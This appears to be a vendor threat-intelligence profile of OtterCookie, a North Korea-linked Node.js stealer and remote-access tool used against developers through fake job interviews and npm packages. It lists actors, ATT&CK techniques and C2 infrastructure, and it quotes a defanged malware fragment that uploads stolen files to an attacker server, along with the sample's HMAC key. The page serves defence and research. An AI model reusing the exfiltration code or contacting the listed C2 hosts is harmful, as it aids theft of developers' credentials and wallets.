Skip to main content
Mallory
Back to malware
MalwareRansomwareUsed by 9 actors

OtterCookie

OtterCookie is a JavaScript/Node.js malware family used in DPRK-linked developer-targeting operations associated with Lazarus ecosystem activity, including Contagious Interview/DeceptiveDevelopment and reporting on HexagonalRodent/Famous Chollima overlap. Multiple sources describe it as a distinct Node.js RAT rather than a BeaverTail variant, although some reporting also characterizes it as a BeaverTail-like stealer or an evolution used by some DeceptiveDevelopment teams. It is commonly deployed alongside BeaverTail and InvisibleFerret in phased intrusion chains targeting software developers, especially Web3, cryptocurrency, and DeFi developers, via fake job offers, trojanized coding assessments, malicious npm packages, trojanized open-source projects, and at least one compromised VSCode extension (fast-draft).

Observed capabilities include continuous collection from active developer workstations, including clipboard contents, keystrokes, screenshots, browser secrets, wallet artifacts, developer credentials, and reverse-shell/remote-access functionality. Reporting also describes browser credential theft, recursive file exfiltration for sensitive wallet and credential material, and active workspace monitoring on a 30-second interval. OtterCookie command-and-control has been observed using Socket.IO over Engine.IO v4, maintaining a live roster of connected victims and broadcasting victim state periodically. Infrastructure linked in reporting includes 195.201.104.53, where port 6931 operated as a live OtterCookie Socket.IO C2 broadcasting victim state every 30 seconds and port 6101 appeared to be a predecessor or reserve C2, and 216.126.225.243, described in the content as a known DPRK OtterCookie C2. In one analyzed Node.js stealer sample associated in the content with OtterCookie infrastructure, browser theft was sent to port 8085, file uploads to port 8086, and host registration/C2 and reverse-shell traffic to port 8087; the sample beaconed to /api/notify and /upload and contained the plaintext HMAC-SHA256 key "SuperStr0ngSecret@)@^".

Targeting in the provided content is concentrated on developers globally, particularly those involved in cryptocurrency projects, Web3, and DeFi. Associated campaigns use LinkedIn recruiter lures, fake companies, bogus interviews, ClickFix-style prompts, and malicious coding challenges. OtterCookie is repeatedly linked with DPRK-attributed operations and Lazarus-related clusters, and the content places it within a broader malware ecosystem shared across multiple North Korean-linked teams.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

9 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Contagious Interview

At the end of 2024, a BeaverTail-like stealer named OtterCookie appeared, believed to be an evolution used by some DeceptiveDevelopment teams.

via register securitytheregister.com
Lazarus

Post lazarusholic lazarusholic.bsky.social did:plc:iqisolaecmif2zmpfbmsq2te "Hunting Lazarus Part IX: The Google Mirror" published by RedAsgard. #BeaverTail, #OtterCookie, #DPRK, #CTI

via lazarusholic blueskybsky.app
TraderTraitor

The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.

via falconfeeds blogfalconfeeds.io
HexagonalRodent

The campaign targeted Web3 and decentralised finance (DeFi) developers globally via AI-generated fake job offers delivered through LinkedIn, using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment and culminates in full credential exfiltration and wallet drainage.

via falconfeeds blogfalconfeeds.io
Coral Sleet

Figure 3. Example of emoji use in Coral Sleet AI-assisted payload snippet for the OtterCookie malware

via microsoft security blogmicrosoft.com
nickel_alley

The attacker-owned GitHub repositories often contain simple, obfuscated code for downloading BeaverTail or OtterCookie malware.

via sophos blogsophos.com
Team 8

In Contagious Interview campaign, Team 8 has been mainly using OtterCookie. Starting around December 2025, Team 8 started using new malware.

via security affairssecurityaffairs.com
DPRK

The latest malicious npm packages deliver a variant of the OtterCookie malware, which combines BeaverTail malware and prior versions of OtterCookie, according to Socket. BeaverTail is malware that often serves as a downloader of further payloads, while OtterCookie is a multistage infostealer and RAT.

via dark readingdarkreading.com
CL-STA-0240

Select infection chains have also been found to serve another malware codenamed OtterCookie via the same JavaScript payload used to launch BeaverTail.

via the hacker newsthehackernews.com
MITRE ATT&CK

Techniques & procedures

28 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1195Supply Chain CompromiseEvidence2

OtterCookie was not only a tool for victims who had been personally walked through a fake interview. It also sat behind package infrastructure... document an OtterCookie-attributed wave of malicious npm packages staged behind Vercel-hosted payload delivery.

T1199Trusted RelationshipEvidence1

using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment

T1566.003Spearphishing via ServiceEvidence2

The interview lure was hand-tailored. The npm pipe was industrial. Both fed the same RAT.

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

Finally, the third module implements a WebSocket connection to the C2 server (port 8087) with reverse-shell capabilities.

T1059.007JavaScriptEvidence2
TacticExecution

It is a JavaScript implant. It targets macOS. It uses Socket.IO as its command-and-control protocol...

T1204.002Malicious FileEvidence1
TacticExecution

using three interoperating malware families BeaverTail, OtterCookie, and InvisibleFerret in a phased infection chain that begins with a malicious coding assessment

Persistence

2 techniques
T1176Software ExtensionsEvidence1

Five trojanized browser extensions – Bitwarden, Phantom, TronLink, Trust Wallet, and a Brave/MetaMask-themed trojan – share a single boot sequence.

T1547Boot or Logon Autostart ExecutionEvidence1

macOS persistence pair from Part III: Login Items entry plus a per-user LaunchAgent referencing a Node process

T1547Boot or Logon Autostart ExecutionEvidence1

macOS persistence pair from Part III: Login Items entry plus a per-user LaunchAgent referencing a Node process

Stealth

1 technique
T1027Obfuscated Files or InformationEvidence3
TacticStealth

The obfuscation technique looks typical to the code produced by obfuscation.io... We are facing a very long array of small Base64-encoded strings... only the “wrapper” that is responsible for the execution is obfuscated but the malicious payloads are embedded in plain text.

Credential Access

7 techniques
T1056Input CaptureEvidence2

OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.

T1056.001KeyloggingEvidence2

Collection class Behavior Keystrokes System-wide key capture across analyzed samples – not limited to browser input.

T1528Steal Application Access TokenEvidence1

Collection class Behavior Developer secrets .env files, SSH material, cloud credentials, source-control tokens, and adjacent on-disk secrets.

T1539Steal Web Session CookieEvidence1

Collection class Behavior Browser data Credential and cookie theft consistent with the broader Contagious Interview campaign.

T1552Unsecured CredentialsEvidence1

Collection class Behavior Developer secrets .env files, SSH material, cloud credentials, source-control tokens, and adjacent on-disk secrets.

T1555Credentials from Password StoresEvidence2

The first one is a browser credential stealer. It supports: Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium, Comodo Dragon, SRWare Iron, Chromium, AVG Browser.

T1649Steal or Forge Authentication CertificatesEvidence2

The second one is a recursive file exfiltration scanner. It scans the victim’s filesystem and search for sensitive files by name/extension... '.pem', '.p12', '.pfx', '.jks', '.keys', '.cer', '.crt', '.cert', '.der'

Discovery

3 techniques
T1057Process DiscoveryEvidence1
TacticDiscovery

The attack culminates with the deployment of a RAT that can gather system information, enumerate files and directories, list running processes.

T1082System Information DiscoveryEvidence1
TacticDiscovery

The attack culminates with the deployment of a RAT that can gather system information, enumerate files and directories, list running processes.

T1083File and Directory DiscoveryEvidence1
TacticDiscovery

The attack culminates with the deployment of a RAT that can gather system information, enumerate files and directories, list running processes.

Collection

5 techniques
T1005Data from Local SystemEvidence2

BeaverTail is an infostealer and downloader that collects data from cryptocurrency wallets, keychains, and saved browser logins.

T1056Input CaptureEvidence2

OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.

T1056.001KeyloggingEvidence2

Collection class Behavior Keystrokes System-wide key capture across analyzed samples – not limited to browser input.

T1113Screen CaptureEvidence4

OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.

T1115Clipboard DataEvidence3

OtterCookie was reading clipboard contents, capturing keystrokes, taking screenshots, watching the active workspace on a thirty-second clock.

T1071Application Layer ProtocolEvidence5

Finally, the third module implements a WebSocket connection to the C2 server (port 8087) with reverse-shell capabilities.

T1071.001Web ProtocolsEvidence3

All HTTP communications are performed via the Axios NPM package... const response = await axios.post(`hxxp://216[.]126[.]225[.]243:8086/upload`, form... Upon the first connection the following info is sent to the C2 via a POST request to hxxp://216[.]126[.]225[.]243:8087/api/notify

T1090.002External ProxyEvidence1

...leverage legitimate hosting services like Vercel.App as command and control servers.

T1102.001Dead Drop ResolverEvidence1

Each extension reads it from a transaction payload on an Aptos mainnet account ... at runtime. ... The first thing each of the five extensions does on load is ask a public blockchain where its server is.

T1105Ingress Tool TransferEvidence2

npm postinstall hooks fetching payloads from Vercel-hosted staging domains Inspect package install logs and package-lock graphs.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

Data is exfiltrated to port 8085... Interesting files are exfiltrated via port 8086... Upon the first connection the following info is sent to the C2 via a POST request to hxxp://216[.]126[.]225[.]243:8087/api/notify... All communications (on different ports) are made with the IP address 216.126.225.243.

INDICATORS OF COMPROMISE

IOCs tracked for this family

92 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
65 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
13 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
14 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
hash.sha256●●●●●●●●●●●●View more in app14 days ago
ip.v4●●●●●●●●●●●●View more in app14 days ago
uri●●●●●●●●●●●●View more in app14 days ago
uri●●●●●●●●●●●●View more in app14 days ago
domain●●●●●●●●●●●●View more in app20 days ago
ip.v4●●●●●●●●●●●●View more in app20 days ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching92

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution9

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping28

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.